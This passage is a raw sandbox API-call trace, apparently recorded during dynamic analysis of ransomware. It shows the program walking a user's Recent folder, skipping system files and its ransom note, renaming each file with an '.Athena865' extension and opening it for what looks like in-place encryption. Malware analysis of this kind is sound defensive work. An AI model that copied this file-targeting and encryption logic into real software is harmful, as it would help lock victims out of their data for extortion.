(lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="temp") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="pagefile.sys") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="boot") returned 1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="ids.txt") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="ntuser.dat") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="perflogs") returned -1 [0052.361] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2="MSBuild") returned -1 [0052.361] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv.lnk") returned 26 [0052.361] lstrcpyW (in: lpString1=0x241e8b4, lpString2="d9d2zKK4Gxce2g-X2G.flv.lnk" | out: lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk") returned="d9d2zKK4Gxce2g-X2G.flv.lnk" [0052.362] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv.lnk") returned 26 [0052.362] lstrlenW (lpString="Athena865") returned 9 [0052.362] lstrcmpiW (lpString1="G.flv.lnk", lpString2="Athena865") returned 1 [0052.362] lstrlenW (lpString=".dll") returned 4 [0052.362] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2=".dll") returned 1 [0052.362] lstrlenW (lpString=".lnk") returned 4 [0052.362] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2=".lnk") returned 1 [0052.362] lstrlenW (lpString=".ini") returned 4 [0052.362] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2=".ini") returned 1 [0052.362] lstrlenW (lpString=".sys") returned 4 [0052.362] lstrcmpiW (lpString1="d9d2zKK4Gxce2g-X2G.flv.lnk", lpString2=".sys") returned 1 [0052.362] lstrlenW (lpString="d9d2zKK4Gxce2g-X2G.flv.lnk") returned 26 [0052.362] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d9d2zKK4Gxce2g-X2G.flv.lnk.Athena865") returned 90 [0052.362] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d9d2zKK4Gxce2g-X2G.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d9d2zkk4gxce2g-x2g.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d9d2zKK4Gxce2g-X2G.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d9d2zkk4gxce2g-x2g.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.363] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\d9d2zKK4Gxce2g-X2G.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\d9d2zkk4gxce2g-x2g.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.363] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1050) returned 1 [0052.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.363] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.364] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.364] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.364] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x154 [0052.365] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000 [0052.365] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.365] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.365] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.366] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.366] CloseHandle (hObject=0x154) returned 1 [0052.366] CloseHandle (hObject=0x17c) returned 1 [0052.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.367] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf21a0e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf21a0e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf21a0e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DE4p2jrvfdb77XYRN.lnk", cAlternateFileName="DE4P2J~1.LNK")) returned 1 [0052.367] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.367] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.367] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2=".") returned 1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="..") returned 1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="windows") returned -1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="bootmgr") returned 1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="temp") returned -1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="pagefile.sys") returned -1 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2="boot") returned 1 [0052.368] lstrcpyW (in: lpString1=0x241e8b4, lpString2="DE4p2jrvfdb77XYRN.lnk" | out: lpString1="DE4p2jrvfdb77XYRN.lnk") returned="DE4p2jrvfdb77XYRN.lnk" [0052.368] lstrlenW (lpString="DE4p2jrvfdb77XYRN.lnk") returned 21 [0052.368] lstrlenW (lpString="Athena865") returned 9 [0052.368] lstrcmpiW (lpString1="7XYRN.lnk", lpString2="Athena865") returned -1 [0052.368] lstrlenW (lpString=".dll") returned 4 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2=".dll") returned 1 [0052.368] lstrlenW (lpString=".lnk") returned 4 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2=".lnk") returned 1 [0052.368] lstrlenW (lpString=".ini") returned 4 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2=".ini") returned 1 [0052.368] lstrlenW (lpString=".sys") returned 4 [0052.368] lstrcmpiW (lpString1="DE4p2jrvfdb77XYRN.lnk", lpString2=".sys") returned 1 [0052.368] lstrlenW (lpString="DE4p2jrvfdb77XYRN.lnk") returned 21 [0052.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DE4p2jrvfdb77XYRN.lnk.Athena865") returned 85 [0052.368] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DE4p2jrvfdb77XYRN.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\de4p2jrvfdb77xyrn.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DE4p2jrvfdb77XYRN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\de4p2jrvfdb77xyrn.lnk.athena865"), dwFlags=0x1) returned 1 [0052.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DE4p2jrvfdb77XYRN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\de4p2jrvfdb77xyrn.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.369] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2692) returned 1 [0052.369] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.370] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.370] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.370] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.371] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd90, lpName=0x0) returned 0x154 [0052.371] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd90) returned 0x100000 [0052.371] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.371] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.371] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.372] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.372] CloseHandle (hObject=0x154) returned 1 [0052.372] CloseHandle (hObject=0x17c) returned 1 [0052.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.373] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.374] lstrcpyW (in: lpString1=0x241e8b4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0052.374] lstrlenW (lpString="desktop.ini") returned 11 [0052.374] lstrlenW (lpString="Athena865") returned 9 [0052.374] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0052.374] lstrlenW (lpString=".dll") returned 4 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0052.374] lstrlenW (lpString=".lnk") returned 4 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0052.374] lstrlenW (lpString=".ini") returned 4 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0052.374] lstrlenW (lpString=".sys") returned 4 [0052.374] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0052.374] lstrlenW (lpString="desktop.ini") returned 11 [0052.374] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\desktop.ini.Athena865") returned 75 [0052.374] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0052.375] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.375] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0052.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.376] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.376] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.376] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.377] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0052.377] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0052.378] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.378] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.378] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.379] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.379] CloseHandle (hObject=0x154) returned 1 [0052.379] CloseHandle (hObject=0x17c) returned 1 [0052.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.380] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae659440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1f08020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1f08020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xe95, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dnjzxr_yz0y8iBl8rhol.lnk", cAlternateFileName="DNJZXR~1.LNK")) returned 1 [0052.380] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.381] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.381] lstrcpyW (in: lpString1=0x241e8b4, lpString2="dnjzxr_yz0y8iBl8rhol.lnk" | out: lpString1="dnjzxr_yz0y8iBl8rhol.lnk") returned="dnjzxr_yz0y8iBl8rhol.lnk" [0052.381] lstrlenW (lpString="dnjzxr_yz0y8iBl8rhol.lnk") returned 24 [0052.381] lstrlenW (lpString="Athena865") returned 9 [0052.381] lstrcmpiW (lpString1="8rhol.lnk", lpString2="Athena865") returned -1 [0052.381] lstrlenW (lpString=".dll") returned 4 [0052.381] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2=".dll") returned 1 [0052.381] lstrlenW (lpString=".lnk") returned 4 [0052.381] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2=".lnk") returned 1 [0052.381] lstrlenW (lpString=".ini") returned 4 [0052.381] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2=".ini") returned 1 [0052.381] lstrlenW (lpString=".sys") returned 4 [0052.381] lstrcmpiW (lpString1="dnjzxr_yz0y8iBl8rhol.lnk", lpString2=".sys") returned 1 [0052.381] lstrlenW (lpString="dnjzxr_yz0y8iBl8rhol.lnk") returned 24 [0052.381] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\dnjzxr_yz0y8iBl8rhol.lnk.Athena865") returned 88 [0052.381] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\dnjzxr_yz0y8iBl8rhol.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dnjzxr_yz0y8ibl8rhol.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\dnjzxr_yz0y8iBl8rhol.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dnjzxr_yz0y8ibl8rhol.lnk.athena865"), dwFlags=0x1) returned 1 [0052.384] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\dnjzxr_yz0y8iBl8rhol.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dnjzxr_yz0y8ibl8rhol.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.384] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3733) returned 1 [0052.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.385] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.385] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.385] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.385] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a0, lpName=0x0) returned 0x154 [0052.386] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a0) returned 0x100000 [0052.386] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.388] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.388] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.391] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.391] CloseHandle (hObject=0x154) returned 1 [0052.391] CloseHandle (hObject=0x17c) returned 1 [0052.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.392] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19d3000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb19d3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb19d3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DxZ89tQr5hB.lnk", cAlternateFileName="DXZ89T~1.LNK")) returned 1 [0052.392] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.392] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.393] lstrcpyW (in: lpString1=0x241e8b4, lpString2="DxZ89tQr5hB.lnk" | out: lpString1="DxZ89tQr5hB.lnk") returned="DxZ89tQr5hB.lnk" [0052.393] lstrlenW (lpString="DxZ89tQr5hB.lnk") returned 15 [0052.393] lstrlenW (lpString="Athena865") returned 9 [0052.393] lstrcmpiW (lpString1="Qr5hB.lnk", lpString2="Athena865") returned 1 [0052.393] lstrlenW (lpString=".dll") returned 4 [0052.393] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2=".dll") returned 1 [0052.393] lstrlenW (lpString=".lnk") returned 4 [0052.393] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2=".lnk") returned 1 [0052.393] lstrlenW 